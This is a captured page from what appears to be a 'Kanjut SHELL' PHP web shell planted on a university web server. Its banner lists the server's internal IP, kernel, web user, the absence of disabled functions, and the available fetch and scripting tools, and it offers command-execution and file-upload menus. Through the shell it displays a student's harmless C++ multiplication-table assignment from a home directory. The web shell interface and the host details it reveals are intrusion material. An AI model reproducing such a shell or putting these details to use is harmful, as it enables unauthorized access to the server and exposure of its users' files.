Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.224.31.82
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/jljustice/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jljustice/multiple.cpp
// --------------------------------------------------------------------------------------------------
// Programming Assignment #4: Multiplication Fact Tables
// Written by Jared Justice
// Due Date: October 29, 2008
//
// Purpose: to create a multiplication table with 
//          the size given by the user and to
//          display it  by the sizes given by the
//          user. For example: a 3 x 3 matrix
// -------------------------------------------------------------------------------------------------

// --- Preprocessor Directives ---

#include <iostream>
#include <iomanip>
#include <cmath>
using namespace std;

// --- Main Function ---

int main ( )
{

// -- Variables --

int
   i,   // number of rows
   j,   // number of columns
   x;   // number to determine the size

// --- Input Phase ---

cout << endl;
cout << " Enter the desired size of the times table (an integer between 2 and 20):    ";
cin >> x;
cout << endl;
cout << endl;
cout << " You have a " << x  << " by " << x << " matrix ";
cout << endl;
cout << endl;

// --- Processing Phase ---

cout << fixed;

while ( x < 2 || x > 20)
{
 cout << "\n\n Invalid Range ";
 cout << "\n\n Must be in the range 2 - 20!!";
 cout << "\n\n Please re-enter the size: ";
 cin >> x;
} 
cout << "        ";
for(j = 1; j <= x; j++)
 cout << setw(5) << j;

cout << endl;
for(j = 1; j <= x; j++)
 cout << "------";

for(i = 1; i <= x; i++)
  
{
  cout << "\n";
  cout << " " << setw(2) << i  << "  |  ";
  for(j = 1; j <= x; j++)
  cout << ""  << setw(5)<< i * j;

}
cout << endl;

return 0;

}


Stv3n404 - 2023